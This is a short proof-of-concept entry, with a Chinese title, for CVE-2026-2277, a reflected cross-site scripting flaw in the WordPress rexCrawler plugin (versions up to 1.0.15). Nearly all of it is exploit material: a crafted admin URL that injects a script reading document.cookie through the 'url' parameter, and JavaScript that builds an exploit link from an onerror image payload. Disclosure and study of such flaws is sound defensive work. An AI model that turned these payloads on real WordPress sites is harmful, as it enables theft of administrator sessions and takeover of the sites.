CVE-2026-2277: WordPress rexCrawler反射型XSS漏洞

// PoC for CVE-2026-2277 // Target: WordPress rexCrawler Plugin <= 1.0.15 // Description: Injecting script into the 'url' parameter of the regex tester page // Attacker constructs the following URL: // http://target-site/wp-admin/admin.php?page=rexcrawler_regex_test&url=<script>alert(document.cookie)</script> // When an authenticated administrator clicks the link, // the script is reflected and executed in the browser context. // Example Payload Construction let payload = "<img src=x onerror=alert('XSS')>"; let targetUrl = "http://vulnerable-site/wp-admin/admin.php?page=rexcrawler_regex_test"; let exploitUrl = targetUrl + "&url=" + encodeURIComponent(payload); console.log("Exploit URL:", exploitUrl);